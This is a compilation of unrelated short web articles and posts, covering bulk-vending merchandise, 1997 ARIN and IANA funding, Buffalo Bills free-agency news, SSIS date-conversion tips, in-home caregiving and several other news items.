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U.S.A. — Though it might be common to talk about "high-perceived value," it often is difficult to actually define the traits and characteristics that give this designation to both capsuled and flat-vend merchandise. Why will one line quickly attract consumers' attention while others remain unsold?
This proves to be a particularly tricky question in bulk vending. With cellphones, for example, it is easy to pinpoint perceived value via the features offered – the more innovative and useful they are, the higher it (and the price) is. But because of multiple constraints, manufacturers of bulk vending merchandise must add value to products in other ways.
"We're finding in some cases that high-perceived value has nothing to do with the size of the capsule," said Dax Logue of Brand Vending Products. "It has to do with the key ingredients, like playability, collectability, trending and all the rest. Since 60% of our products are toys, we're always looking at playability. For instance, we constantly re-analyze the high bounce ball. We look at that from a purely playable standpoint. If it has playability, it brings added value to the buyer."
Licenses, many suppliers claim, add value to products. A high-profile license related to a movie, musician or celebrity brings with it the benefits of instant recognition among a targeted demographic. Miley Cyrus, a favorite of pre-teen and tween girls, has been a huge success in the industry. Bolstered by sold-out concert tours and a highly rated television show, the young performer's image on stickers is a favorite among bulk vending consumers – at least for now.
However, for every Miley Cyrus there are a dozen or more less-than-successful licenses. Operators with long memories will remember a sticker series many years ago based on a movie remake of the television show "Flipper." Touted as "fun, family entertainment," the film lasted barely a week in theaters. "It's like they made a bad movie on porpoise," one operator, who purchased a quantity of the ill-fated stickers, quipped.
Licenses are a tricky business. What's hot with young consumers one week may be cold the next. And licensors seeking to maximize profits are "slicing and dicing" licenses in new and innovative ways. For instance, Disney Princesses is actually a license that includes characters from multiple animated films, while a license for Spider-Man may be based on recent films or the classic comic books.
Trends are nearly as tricky as licenses. They tend to cycle through more quickly every year, and are often prone to so-called "market flooding" by competitors. Typically not licensed, once a trendy concept is spotted and certified as a bestseller, the bandwagon quickly fills with companies eager to get a share of the market. This is particularly true for flat vendibles, because lead times from concept to finished product are particularly quick.
Oval stickers are a good example of the "market flooding" phenomenon. The stickers, which bore "wisecrack" sayings in an oval shape, spread from a single manufacturer to multiple ones within a month or two of hitting machines. At the height of their popularity, virtually every major manufacturer was boasting at least one line of ovals, with some already into their third or fourth series.
But according to suppliers, sales began to flatten out and quickly tapered off as the market reached its saturation point.
Authenticity has become an increasingly critical factor when products target a specific niche market. Both operators and manufacturers have learned – often the hard way – that authenticity is a vital component of any bulk product in the increasingly important Hispanic market. There are other markets where it plays an equally key role, including products aimed at fans of hip-hop music, skateboarders and essentially any group in which a hobby is also a "lifestyle."
The search for authenticity with flat vendibles and capsuled products has led suppliers to seek both licensed and commissioned original artwork. One of the major bulk vending success stories of the past decade, Homies, was based on an existing comic strip featured in a magazine dedicated to enthusiasts of "low rider" cars. The search for authentic designs has also prompted suppliers to seek out well-known tattoo artists to create temporary tat lines, and even artists specializing in creating images for cars.
An emerging element in the bulk vending marketplace today is functionality. Tomy Yujin's recently released line of dangles that also act as screen cleaners for cellphones and portable videogame devices is just one example of functionality coming into the industry.
"Figurines used to be popular, now I notice that anything that has a keychain or a strap attached to it sells way better than just a figurine," said Adam Dorfman of Allstar Vending. "Anything that attaches to your cellphone, purse or backpack is better than something that sits on your desk. If you want to get into real utility then you're talking about watches, and if you combine that with a license, then you have a good product."
Dorfman, along with others in the industry, has expressed concern over the use of high-value merchandise strictly as sales generators. Premium merchandise, which came into its own when vend prices jumped from 25¢ to 50¢ several years ago, is now being mixed with much less desirable merchandise to attract customers. This practice, while not new to bulk vending, has increasingly been creating an ill-advised gap between products in the same bulk head.
"To put it frankly, what's killed a lot of the business is kids getting disappointed by mixes with unbalanced value," said one operator. "You can only disappoint a kid once before you lose a customer."
According to the experts, this disparity in mixes has been a consequence of rising overhead, such as fuel costs, that has resulted in shrinking profit margins.
Rather than increase the perceived value and vend prices of their offerings, some operators have chosen to decrease the cost of product. In fact, what these operators may very well be doing is lowering the perceived value of entire bulk racks among potential repeat customers. To put it simply, if the value of what they purchase differs significantly from what is featured on the display card, they will stop buying from the machines.
"It's a mistake," said the operator. "Kids know the value of what they buy and they know when they've been ripped off."
In the chaotic marketplace of creating products with high-perceived values, one thing remains certain. The industry can't move backwards and restart offering products that are less appealing, even if they boast a lower price. Even the youngest bulk vending consumers are savvy shoppers – and if a product doesn't capture their interest, then operators won't capture their quarters.


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As the author of the article, I'll clarify: Michael Dillon wrote: >The news article that I read said that the US government was funding ARIN >with an injection of $250,000 and that NSI was only giving $50,000. That >does not sound at all like NSI is funding and staffing ARIN. And later wrote: >I've got to learn to stop trusting the press :-) >Now that I read over http://www.emap.com/cwi/187/187news6.html again I see >that they have ARIN and IANA all garbled up together. >*sigh* The article (posted at the bottom of this msg) doesn't confuse ARIN and IANA. However, due to an unfortunate editing error, Jon Postel is incorrectly referred to in one place as the head of ARIN. Other than that, the story is pretty clear. En bref: In an interview in late June, Ira Magaziner said NASA and Dept. of Energy will provide IANA with temporary, partial funding of $250,000 for 12 months. Postel in late June said he was aware of the decision, but had not yet received the funds. Separately, Kim Hubbard said that ARIN had already budgeted $50,000 to partially fund IANA (a move that was expected due to the current funds RIPE NCC and APNIC are giving). Any reader ever wishing clarification on an article is always free to contact me directly, at kenc at cwi.emap.com. (I follow naipr regularly, so there is no need for msgs here to be duplicated, and cc-ed to me.) Kenneth Neil Cukier Senior Editor Communications Week International Paris, France -------------------- Below is the article, which appeared in the 30 June 1997 issue of Communications Week International: US backs plan for Net to go it alone By Kenneth Neil Cukier KUALA LUMPUR -- After months of uncertainty over its policy direction, the United States government has moved to promote Internet self-governance on a international scale. Last week the U.S. National Science Foundation approved the creation of the long-delayed American Registry for Internet Numbers (ARIN), which will oversee the allocation of Internet Protocol addresses to Internet service providers and large corporations. "I'm happy that this long and careful process is finally over," said Scott Bradner of Harvard University, and a trustee of ARIN. The body's creation was stalled due to a White House taskforce's concerns over how ARIN would function. The U.S. government is also set to reverse an earlier decision and provide interim funding for the Internet Assigned Numbers Authority (IANA), the body which oversees global IP number allocations. Ira Magaziner, special advisor to President Clinton, said the Department of Energy and NASA will jointly provide $250,000 to partially fund 12 months of operation until a formal Internet-based funding model can be established. "If the Internet is to flourish, it must be international," Magaziner said. Jon Postel the head of ARIN [sic, head of IANA -- KNC], said he was pleased with the funding, but emphasized it was for a "transition period" until the bottom-up structure of IANA was established, based on the regional IP registries in Europe, Asia, the United States, and possibly elsewhere. Since IANA deals with other network matters, such as domain name data and standards, Postel said other groups that use IANA services, such as domain name registries, might also be appropriate sources of funding. Kim Hubbard, the current head of the InterNIC, the body which now allocates U.S. IP addresses [sic, also IP addresses in the Americas, and elsewhere... -- KNC], and who is expected to head ARIN, said the organization has already budged $50,000 to support IANA. Meanwhile, The U.S. Department of Commerce will this week issue a 45-day "request for comments" on Internet domain names, and the International Ad Hoc Committee's proposal to create a shared-registry model. Magaziner said the administration "will try to form a position that will encourage the movement to a more private, competitive system for domain name allocation." He also said that the IAHC's aims "are goals that we [the U.S. administration] share." The U.S. move to reopen the issue will not jeoprodize the IAHC plan, said David Maher, the interim chairman of the Policy Oversight Committee [sic, Maher is the chairman of the interim POC, or iPOC -- KNC] charged with implementing the changes. end [Nota Bene: It is extremely rare that errors such as these appear in CWI. In this case, I wrote it at 2am the night of layout, and a copy editor in London typed in a few mistakes as the piece was cut to 400 words from the 800 filed. Apologies to sources and readers.... -- KNC]

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The banks, advised by Korda Mentha's advisory arm, 333, are determined to hold out for full repayment of the loans.
Their intransigence is frustrating the Goldman Sachs (Asia) Finance consortium's refinancing plans for the pubs landlord.
Yesterday, Redcape's board agreed to extend its exclusivity agreement with the consortium until the end of the month.
It is the second time the consortium, which includes US-based hedge funds York Capital Management and Värde Partners, has been granted extra time to hammer out a debt for equity proposal.
The consortium controls 40 per cent of Redcape's senior loans after Westpac Banking Corp and Bank of Queensland sold their stakes for over 90¢ in the dollar.
The debt raiders' strategy to recapitalise the trust is encountering fierce opposition.
Any debt for equity swap – which would be heavily dilutive to existing shareholders and receivers Ernst & Young which controls the 49 per cent stake of Tom Hedley – needs the agreement of junior lenders.
Sources familiar with the situation claim ANZ and BOSI's refusal to sell on the cheap has forced the consortium into a standoff with the banks and has resulted in escalating tensions on Redcape's board.
Last week 333 wrote to the trust asking its directors to deny the Goldman Sachs group an extension.
The decision to grant extra time triggered a fractious debate among the A-REIT's board members, who are divided over the recapitalisation.
According to senior industry sources, an alternative refinancing strategy for Redcape may emerge involving ANZ and BOSI and a consortium of investors linked to the Laundy family.
If the new plan works it would resurrect the shelved $320 million sale of 20 Redcape pubs to the Laundy Hotel Consortium and ALH, Woolworth's hotel arm.
When Goldman Sachs and the hedge funds unexpectedly swooped on Redcape's senior debts, that transaction was all but written off after the consortium gained a controlling slice of one of the pub landlord's major operators, National Leisure & Gaming.
But a number of Redcape stakeholders oppose the debt raiders' refinancing plans.
Yesterday, trust chairman Colin Henson insisted the recapitalisation strategy was "in the best interests of stapled security holders".
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At this year's MTV Movie Awards, Daniel Radcliffe, Rupert Grint and Emma Watson introduce a brand new 'Half-Blood Prince' clip which focuses on Dumbledore meeting young Tom Riddle.
Following the conclusion of 2009 MTV Movie Awards, a brand new clip from "Harry Potter and the Half-Blood Prince" shown during the show has been pushed out. More than two minutes long, the clip starts with a taped presentation from three of the "Harry Potter" series' stars, Daniel Radcliffe, Rupert Grint and Emma Watson.
The clip itself focuses on Dumbledore taking Harry to explore the memory of his first encounter with the young Voldemort, Tom Riddle. It unravels the scene wherein Dumbledore makes his way to the Wool's orphanage to bring Tom to Hogwarts School of Witchcraft and Wizardry. Meeting the boy for the first time, Dumbledore shows Tom how they are different from any other men.
"Harry Potter and the Half-Blood Prince" features the likes of Daniel Radcliffe, Rupert Grint and Emma Watson who will be joined by Michael Gambon, Tom Felton, Bonnie Wright, Helena Bonham Carter and Robbie Coltrane among others. Rated PG, it is directed by "Harry Potter and the Order of the Phoenix" helmer David Yates. Warner Bros. Pictures will distribute the movie in U.S. on July 15.
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Thought I'd add a note as I was getting confused with the built-in function "FormatDateTime()". The example is shown as:
=FormatDateTime(Fields!BirthDate.Value, DateFormat.ShortDate)
The other formats are:
=FormatDateTime(Fields!BirthDate.Value, DateFormat.GeneralDate) =FormatDateTime(Fields!BirthDate.Value, DateFormat.LongDate) =FormatDateTime(Fields!BirthDate.Value, DateFormat.ShortDate) =FormatDateTime(Fields!BirthDate.Value, DateFormat.LongTime) =FormatDateTime(Fields!BirthDate.Value, DateFormat.ShortTime)
Unfortunately if you are using US dates and want the report to use a specific European date format and you spend as long as I did searching the web for a solution, then ignore all the above.
Another built-in function is the text-formatter
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Please note: the following article is not a solution but a page of various methods and date conversions which I try and use depending on the situation.
This is a quick article on how I got time conversion working in an SSIS package which read from a text file. Note that the example below converts a string in European Date Format (ie. "ddmmyyyy" to "dd/mm/yyyy"). Also, my data flow imports two dates one which was imported as a string (DT_WSTR) and another as a integer (DT_R8).
It took me a long time to figure this and it was only by trawling through columns that someone mentioned that maybe all the data in that column is not consistent? This made sense as I need to parse the string to extrapolate the date, month and year.
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A quick article on how to skip rows or even specify a range to extract from the Excel file when using as the DataSource.
If you are simply using a text file as your data source, then the options in the connection manager will let you skip rows and specify column datatypes. You don't get that with Excel but you can still control the data range.
My example is that I have an excel sheet where the first 10 rows are descriptions to the column, and then I have 38 columns ("A" to "AL"):
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This is a quick article to remind me on how to skip blank rows when using a Flat file as a data source. I would receive another Microsoft error as clear as mud:
Error: The conditional operation failed. Error: SSIS Error Code DTS_E_INDUCEDTRANSFORMFAILUREONERROR. The "component "MyDerivedColumns" (4228)" failed because error code 0xC0049063 occurred, and the error row disposition on "output column "DC_MyDate" (7349)" specifies failure on error. An error occurred on the specified object of the specified component. There may be error messages posted before this with more information about the failure.
So the solution must be obvious to you by now. At least that's what Microsoft people think to themselves every time they see the error they programmed in.
Apparently this problem also happens when you have a Data File of varying column numbers. My solution below will also fix this.


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RZA Says More "Energy" Is Needed From Ghostface, Raekwon & GZA In Order For Reunion Album To Happen
Today marks the 20th anniversary of Wu-Tang Clan's classic debut album Enter The Wu-Tang (36 Chambers). If the group never drops another album again, they will be considered one of the greatest collection of MCs in hip-hop history.
But, of course, fans won't let that ride. It's been six years since their last release, 8 Diagrams. With the group's reunion tour building hype, them dropping the single "Family Reunion" earlier this year and having their name buzzing with the newbies off the possible Drake single, now seems as good a time as ever to get things in motion.
Once everyone gets one board, fans will get what they have been waiting for, RZA recently said in an interview with GrantLand. Things are going in the right direction after the crew bonded on tour. "I got optimism off the summer tour we did in Europe," said The Abbot speaking on the valuable time recently spent with the crew. "It was so healthy. We got a lot of time on the bus to talk, to argue, to laugh, to hug, to see fans loving us. And to see the potential of what we can do. To see the potential of the legacy of what we did. We got a lot of work done [recording in Europe]. I feel like we have enough material on the album."
Despite having the songs on deck, RZA said all but three members are all in. "I just need Raekwon to come on board fully I need some more energy from Ghost and GZA," he added. "If they give that energy, I will give us a great last album. If they don't give us the energy, I gotta figure out a plan B."
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The way long-term care is delivered to older Americans in Pennsylvania and individuals with physical disabilities is changing, and Tri-County Patriots for Independent Living in Washington is at the forefront of the movement.
TRIPIL's caregiver training program offers friends, family and neighbors the opportunity to provide in-home care to loved ones, including those with Alzheimer's disease and dementia, so they can remain independent. Upon completion of the training, graduates are placed on TRIPIL's payroll.
Until several years ago, family members who cared for their relatives were not permitted to be compensated. But as the demand for services increased, as well as the cost of nursing-home care, it seemed like a more sensible solution for everyone involved – especially those who require the care – and the state is encouraging it.
"It's all about consumer control and their needs," said Kathleen Kleinmann, who founded TRIPIL in 1990 and now serves as its CEO. "The training center is an integral part of our work. We are the ones who receive the care, and we provide the care. We're building relationships with people. We want those relationships to last long term."
In January, Kleinmann was one of 25 people appointed by Gov. Tom Corbett to serve on his newly created Pennsylvania Long-Term Care Commission. The commission was formed to develop recommendations to improve the current long-term care system, including ways to provide a better-coordinated approach to delivering services and support, and ensuring quality health care for older Pennsylvanians and individuals with physical disabilities.
Kleinmann said that statewide, between 30,000 and 40,000 residents receive in-home care. The state wants to increase those numbers to achieve a more balanced level of care between in-home and nursing homes. She said it costs the same amount of money to hire two-and-a-half to three caregivers for multiple clients as it does to house one person in a nursing home.
"The state saves money, too," she said. "The more federal money for this work we receive, the higher the match we get as we put fewer people in nursing homes."
There is money available, Kleinmann said, and if Pennsyvlania doesn't ask for it, another state will. "There are more strings attached, but it's better than not having it," she said.
TRIPIL collaborates with the Office of Long-Term Living and Southwestern Area Agency on Aging to provide personal care assistance and help older adults move out of nursing homes. The number of hours a caregiver can work with a client – up to 60 hours per week – is determined by guidelines established through the Office of Long-Term Living and Department of Health. Referrals for in-home care are made through Area Agency on Aging and funded by Medicaid.
"Nobody takes care of you better than the family member," said Andrea Costello, supervisor of the Direct Care Program.
With rigid guidelines in place, chances of abusing the system are very low, Kleinmann said, noting that, "People don't want more care than they need. It's an intrusion."
Betty Brooks of McDonald, who cares for her mother, Anna Snatchko, 86, of Burgettstown, is employed by TRIPIL. So is Betty's niece, Kara Snatchko, and her daughter, Katie Fehl.
Betty, who is Anna's primary caregiver, had trouble finding reliable workers to care for Anna when she started needing more oversight. Completing the TRIPIL training was her best – and only – option.
"Mom had a really rough time in the beginning," her daughter, Katie, said. "When workers called off, my mom had to call off work. She couldn't keep a job."
That was three years ago. In February 2013, Kara completed the TRIPIL training program, and Katie shortly thereafter, when her son, Corbin, was born. Katie also works two other part-time jobs.
"When my mom suggested it, it worked out perfectly. It gives my mom a break," Katie said. "In all honesty, I did it for my mother, and it works out well because I get paid to take care of her. I see when I put my Gram to bed that she would not get care like that in a nursing home."
In the beginning, Anna was approved for two hours of in-home care a day, or 14 hours per week. As her dementia progressed, the number of hours increased. She now is approved for 56 hours of care per week.
Although Betty spends six nights a week at her mother's home, averaging about 14 hours per day, she is not on TRIPIL's clock during that time. She is paid for only her eight-hour daytime shift on Saturday. Kara and Katie each work eight-hour shifts three days a week.
Betty said someone recently called TRIPIL requesting her services, but Betty politely declined. She has no time. However, she said she may consider it after her mother passes away. Katie, on the other hand, doesn't believe she could care for someone who is not a relative.
"This is my Gram," Katie said. "She did it for me. Why not do it for her?"
Costello said TRIPIL serves 600 to 625 clients, with 558 attendants on the payroll.
The four-hour, four-day training is held twice a month and covers a variety of topics, said Jason Zubovic, training coordinator, such as confidentiality, maintaining consumer boundaries, understanding the independent living philosophy, nutrition and meal preparation and proper use of medical equipment. Attendants also must attend one refresher course per year.
The only people who are not eligible to provide in-home care for clients are their spouses and those who serve as their power of attorney. Caregivers also must pass a background check.
Costello said consumers are encouraged to meet the attendants in advance to see if they can work together. After a match is made, TRIPIL monitors the relationship. If a problem arises, Zubovic will visit the home to troubleshoot.
"You are offering peace of mind when you have a network," Kleinmann said. "People who work here have a different sense of what we're working for. You know you're making an investment."


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Westfall Ridge Prairie
Ecological Significance
Westfall Ridge Prairie lies atop a limestone ridge that is home to a globally rare rocky glade prairie community. This preserve is possibly the best example of a xeric grassland on limestone in Pennsylvania. The presence of two prairie plants commonly found in arid prairies of western and central states — side oats grama and false gromwell — make this site even more unusual.
Juniata County
180 acres
Access to the Preserve
Westfall Ridge Prairie is not open to the public. Volunteer days are held occasionally to maintain the prairie habitat, providing an opportunity to see this site. For more information, please call the Pennsylvania Chapter at (610) 834-1323.
What to See: Plants
The prairie is edged with woodlands of oak, red maple, birch, Virginia and pitch pine, fragrant sumac, table mountain pine, and a magnificent stand of eastern redbud — quite a brilliant site in the spring. The redbud also provides forage for butterflies.
Why the Conservancy Selected This Site
Research and historical archives suggest that the prairie was once much more widespread, supporting large grazing herds, including bison. The Nature Conservancy's dedicated volunteers seeded several acres with prairie grasses in an effort to restore Westfall Ridge to its former extent.
What the Conservancy Has Done/Is Doing
In August 1994, The Pennsylvania Chapter of The Nature Conservancy acquired the 30-acre Benner tract at Westfall Ridge Prairie and simultaneously negotiated an easement for almost 120 acres of surrounding farmland. The Benner family also donated a primary area of 30 acres to the Conservancy.


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Texas Baptist disaster response team scheduled to go to Japan
- March 21, 2011
- By John Hall, Texas Baptist Communications
This initial Texas Baptist team to Japan originally was scheduled to leave March 19, but disaster response leaders decided to postpone the trip due to the unstable nuclear plants in the disaster area.
"Although there is still some concern about the power plant in northern Japan, we believe there is an urgent need to at least get our team into Tokyo, which is 150 miles from the Fukushima facility," said Chris Liebrum, coordinator of disaster response for the Baptist General Convention of Texas. "In Tokyo, they will be able to meet with the leadership of the Japanese Baptist convention and begin to discover ways that Texas Baptist can support and serve them in the recovery."
Members of the team are Texas Baptist Men disaster relief veterans John LaNoue and Gary Smith and Yutaka Takarada, pastor of Japanese Baptist Church of North Texas, accompanied by BGCT videographer Rex Campbell.
The team's planned departure is the most recent action taken by Texas Baptists in helping victims of the March 11 earthquake and subsequent tsunami.
The BGCT has sent $25,000 to the Japan Baptist Convention to help with the response effort, and Texas Baptist Men has sent $5,000 to help pay for fuel costs. The convention is in the process of sending requested Geiger counters and potassium iodide pills to the Japan Baptist Convention. Both the convention and Texas Baptist Men regularly are visiting with Japanese Baptist and Baptist World Aid leaders, Southern Baptist representatives in the region and Cooperative Baptist Fellowship officials.
For updates on the situation, visit www.texasbaptists.org/disaster . To give to Texas Baptists disaster response, visit www.texasbaptists.org/give . One hundred percent of donations will support disaster response efforts.


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Deal for Henson not looking good [5:17 AM]
Rochester D&C reports: '�I basically told him what our position would be, and if they are interested in our position, we can talk further, and if they�re not, maybe somebody will be interested in his position,� Donahoe said.'
Bills expecting Winfield to say bye-bye [5:16 AM]
Rochester D&C reports: '�Here�s my feeling on it: When you approach somebody to talk with them about a contract and they have no interest, it�s usually a pretty good sign they want to go somewhere else.�'
Brown ends stay in Buffalo a bit underrated [5:15 AM]
Rochester D&C reports: 'Ruben wasn�t eight Pro Bowls good; we all knew that. But he wasn�t as hapless as his worst critics suggested. He was flagged too often and the team surrendered way too many sacks, but it was no easy task pass protecting for the likes of Rob Johnson and Drew Bledsoe.'
Cowboys, Bills show interest in Texans' Henson [5:14 AM]
Houston Chronicle reports: '"We saw the workout (in Houston). We had more people at the workout than anybody else in the league. We know what his abilities are. It appears there would be a lot of hoops you'd have to jump through to do the contract. Right now, from what we've heard, we wouldn't be comfortable with it. I just had a talk (Monday) morning with Tom and told him what our position would be. If they're interested in our position, we can talk further."'
Bills Release Ruben Brown [8:35 PM]
RNews.com reports: 'Brown, who played in his eighth straight Pro Bowl last month, says he will continue to live and raise his family in Orchard Park. He thanked the fans for what he called "some of the happiest years of my life."'
Bills Part Ways With Guard Ruben Brown [8:34 PM]
BuffaloBills.com reports: 'Donahoe said the decision to release Brown was based on a number of factors and that to single out one area - his playing ability, absence from the final game, or the effect on the salary cap - would be incorrect. "I think the coaches did a very thorough job of talking about it and analyzing it and based on the fact that it was a new staff and we are trying to go in a different direction this might be the best decision to make," Donahoe said.'
Q&A Session With Bills GM Tom Donahoe [8:33 PM]
BuffaloBills.com reports: '"We have released Ruben. We talked to him this morning. Coach (Mike) Mularkey spoke to him and indicated that we have decided to go in a different direction. Publicly I'd like to thank Ruben for all that he has done for the Buffalo Bills, things that he's done on the field and off the field. I believe that our staff felt that coming in we wanted to go in a different direction. It's probably best for both parties."'
Bills interest in Henson cooling [8:32 PM]
AP reports: '''We still have interest in Drew Henson, but we still have not been shown a way to do a contract that would make us comfortable,'' Donahoe said. ''And until we can be shown that, it really doesn't serve any purpose to bring him in (for a workout).'''
NFL teams will seek value, not stars, in free agency this year [8:00 PM]
CNN/SI reports: Buffalo cornerback Antoine Winfield (my guess: Cincinnati, which will throw more money at a quality cornerback than any other team).
Bills Wallpaper [7:59 PM]
BuffaloBills.com reports: This month's wallpaper by TBD Alumni 'Moose' is starting DE Aaron Schobel (#94).
Bills release Pro Bowl G Brown [4:10 PM]
Sportsticker reports: 'However, the move allows the Bills to save more than $4 million. Brown was due to make $2.7 million in 2004 and would have received a $1.8 million bonus if he was still on the Bills' roster Wednesday, the first day of free agency.'
Ruben Brown's Comments on Being Released [4:02 PM]
BuffaloBills.com reports: 'I know there were questions surrounding the way the season ended last year and I have chosen to keep those issues personal. Many of those issues have been resolved and my life has moved on from that point.'
Bills Tender Contracts To Free Agents [3:45 PM]
BuffaloBills.com reports: 'By tendering offers on the team's Restricted Free Agents (RFA) - a player who just finished his third season in the league and his contract is about to expire - the Bills will be given draft-round compensation should the players sign elsewhere.'
2004 NFL Free Agency Questions & Answers [3:45 PM]
BuffaloBills.com reports: 'The salary cap is the maximum each club may spend on player salaries in a capped year. For 2004, that amounts to 64.75 percent of leaguewide "Defined Gross Revenues" (divided by 32 teams), made up of preseason, regular-season and postseason gate receipts and radio and television rights. The cap is in effect 365 days a year. From March 3 to the day before the season begins, a club's top 51 salaried players count towards the cap, plus pro-rated signing bonuses, incentives, etc., but not base salaries of other players on the roster up to 80. Thereafter, all salaries on a club's roster count towards the cap. The maximum salary cap for 2004 is $80,582,000 per club. The minimum club salary is $67,337,000. Player benefits are $12,865,000 per club above the salary cap number.'
Bills release guard Ruben Brown [1:08 PM]
The Sports Network reports: 'Brown, who missed only eight games in nine seasons, started 15 games last year before being excused by the team from playing in the season finale against the New England Patriots last December.'
Bills cut Ruben Brown [1:05 PM]
Rochester D&C reports: '�He�s played at good level for a long period of time. He�s been on the leaders on our team,� Donahoe said. �It just boils down to when you have a new staff come in there are changes that are inevitable. Ruben won�t be the only change as we move forward, but he obviously is a significant chance for what he did here.�'
Bills Cut Ties With Popular Pro Bowler [1:05 PM]
WGR-AM reports: 'Brown came under fire after he missed Buffalo's regular season finale against New England. The team had excused him from playing after he had spoken out against then-offensive coordinator Kevin Gilbride.'
Bills release Pro Bowl guard Brown [1:04 PM]
AP reports: 'Brown was due to receiver a $1.8 million bonus had he been on roster Wednesday, the first day of free agency. He also was due for a base salary of $2.7 million this season.'
Dallas reportedly interested in quarterback [12:57 PM]
ESPN reports: Despite reports claiming Henson will also audition for Buffalo, team president Tom Donahoe told ESPN.com that he will not arrange for an individual workout unless he is convinced a contract agreement can be reached. Donahoe remains doubtful on that front. Agent Tom Condon also told ESPN.com that he doesn't think the Bills will request a Henson workout.
Released [12:54 PM]
BuffaloBills.com reports: The Buffalo Bills have decided to part ways with eight-time Pro Bowl guard Ruben Brown, ending the tenure of one of the franchise's most recognizable offensive lineman. Originally drafted by the Bills in the first round (14th overall) of the 1995 draft, the former Pittsburgh All-American played and started in 136 games and has been selected to the Pro Bowl in each of the last eight seasons, an accomplishment no other Bill can claim.
Restricted Free Agents Getting More Protection [8:50 AM]
BuffaloBills.com reports: 'Buffalo could have offered Tucker a one-year minimum tender ($628K), but it would have offered no protection against losing him to another team. The minimum tender only demands that another team that signs him away from Buffalo compensate the Bills with a draft pick equal to the round in which Tucker was drafted. Tucker, however, was an undrafted free agent coming out of college, so there would have been no compensation.'
Buffalo fans in middle of frustration formula [5:16 AM]
Business First of Buffalo reports: 'The Bills are 34th with a frustration index of 2.95. And the Sabres, with a score of 2.12, rank 98th. That makes them Buffalo's least frustrating team, despite their weak performance in recent seasons.'
Inside slant [5:15 AM]
CBS Sportsline reports: 'The Bills will start free agency with about $7.8 million in cap space but that figure will fluctuate greatly. Off the bat, the team must decide if it wants to retain eight-time Pro Bowl guard Ruben Brown, who is due a $1.8 million roster bonus that will have to be accounted for.'
Strategy and personnel [5:14 AM]
CBS Sportsline reports: 'The Bills aren't being bashful about their interest in NC State quarterback Philip Rivers, one of the fastest rising players in the draft. Buffalo is in the market for Drew Bledsoe's eventual successor and taking a quarterback with its 13th pick is being heavily considered.'
Notes, quotes, anecdotes [5:13 AM]
CBS Sportsline reports: 'Coach Mike Mularkey recently sat down with Brown to discuss his future with the club. Part of the conversation addressed Brown's falling out with the previous coaching staff. Brown was excused from the final game of the season at New England after arriving late for a practice and having a confrontation with offensive coordinator Kevin Gilbride.'
QB's contract demands could be deal breaker [12:06 PM]
ESPN reports: 'For now, trading for Drew Henson remains a possibility for the Bills. But the more Buffalo explores ways to acquire Henson from the Texans, the more difficult a deal appears.'
Draft pick No. 13 just got luckier for Bills [8:58 AM]
Buffalo News reports: 'Tom Donahoe and Tom Modrak haven't missed on many drafts during their careers as president/general manager/college scouting gurus, so we have to believe they will make the right choice. The good news for the Bills is there won't be any wrong choices at No. 13. The Bills' needs are specific - quarterback, speed at wide receiver, interior offensive line, cornerback (if Antoine Winfield doesn't return), pass-rushing defensive end and tight end.'
Time to talk shop as free agency set to open [8:57 AM]
Buffalo News reports: 'Winfield said he'd like to return to Buffalo, but the Bills won't get into a bidding war. His bargaining power improved last week when some of the top free agent cornerbacks were either franchised (Oakland's Charles Woodson and Baltimore's Chris McAllister) or put on the trading block (Washington's Champ Bailey).'
McNally still getting a line on players [8:56 AM]
Buffalo News reports: '"No. 1 is "smarts,' " he said. "I want players with football intelligence. If I'm told a player needs a lot of repetitions to get things right I'm not interested. The NFL is far different today than what it used to be. Defenses are so sophisticated now it's like looking into a box of coat hangers for linemen deciding what to do on a blitz."'
Bidding opens to turkey hunt with ex-Vol Teague [6:52 AM]
Nashville Tennessean reports: 'Some lucky youngster will get the thrill of a lifetime this spring if he wins the auction for a special turkey hunt with Buffalo Bills center Trey Teague.'
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Quite a bit of discussion took place in the comments and offline following my post on accredited investors, especially as it relates to friends and family financing. These investors will typically be "easier" to convince to support and finance your idea, but at the same time they might not qualify for the accreditation as defined by the law.
So what can you do as a young entrepreneur/team needing some cash? First order: can your savings and credit cards get you anywhere meaningful? Second: in order to avoid being stuck between a rock and a hard place, a loan that will be re-imbursed as opposed to converting into the next round of equity financing might be a temporary solution. Unfortunately for the unaccredited lender, he/she will not be able to benefit from that early support through the perks angels typically get: discount to Series A, warrant coverage, etc. because only accredited investors can acquire equity. And once … Read more »


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The 2014 Oldsmobile Homecoming Car Show & Swap Meet, hosted by the R.E. Olds Chapter, will be held June 14.
Original owner's 1976 Olds 4-4-2 is a lifelong keeper
This 1976 Oldsmobile Cutlass 4-4-2 is owned by Clifton Cummins, 53, who ordered the car in March 1976 from the Johnny Kool Oldsmobile dealership in Indianapolis. It was built on April 23, 1976, and Cummins picked it up about three weeks later.


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CHICAGO -- After Wednesday's trade of Mark Teahen, White Sox infielder Omar Vizquel officially became the team's primary reserve at every infield position other than first base.
With his start at third base Wednesday, the ageless Vizquel inched one step closer to yet another milestone: He now needs just three appearances to tie Brooks Robinson at 13th on the all-time list with 2,896 games played.
Manager Ozzie Guillen says he thinks Vizquel can play two more years. The 44-year-old infielder laughed when he heard that this week. He's taking it year-to-year, correct?
"I wouldn't say year-to-year. I would say week-to-week," he quipped. "You always battle in your mind (how long you should play) but I think the legs are the ones that are going to tell me when to quit."
Vizquel already has played more games at shortstop than anyone in history and is third in assists at the position, behind Ozzie Smith and Luis Aparicio. He's in the top 50 all-time in hits, with 2834, third among active players (behind Derek Jeter and Ivan Rodriguez).
With Teahen's departure, Vizquel should get more playing time at third. He's hitting .271 in 43 games with 15 starts at third, 11 at second and seven at short. It's the role the White Sox envisioned for him when they signed him prior to 2010, but he ended up as the regular third baseman much of last year because of Teahen's broken finger.
The progress of prospect Dayan Viciedo in Class AAA has prompted some fans to suggest the White Sox should cut Vizquel to bring up the power-hitting Cuban. Guillen emphatically rejected the notion, even before the Teahen trade.
"If people (don't see) what Vizquel does for us, wow, they don't know too much about baseball," the manager said.
When he was signed by Texas in 2009 to tutor Elvis Andrus, Vizquel wondered how well he'd adjust to the backup role after 20 seasons as a starter. He now says he "embraces the job."
"This season has been pretty cool. I probably haven't been playing as much as I did the year before. We've got some guys here that deserve to play and develop," said Vizquel, who has expressed interest in managing eventually.
He has supplanted Brent Lillibridge as the backup to Gordon Beckham at second, though he admits an adjustment to that side of the infield. "Everything's at a different angle," he said. "Even though I've played for a little while, going to a new position is always weird."
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11 Things Amelia & I Wanted To Say To Jared Leto Today, But Didn't
Yesterday afternoon, Amelia and I met
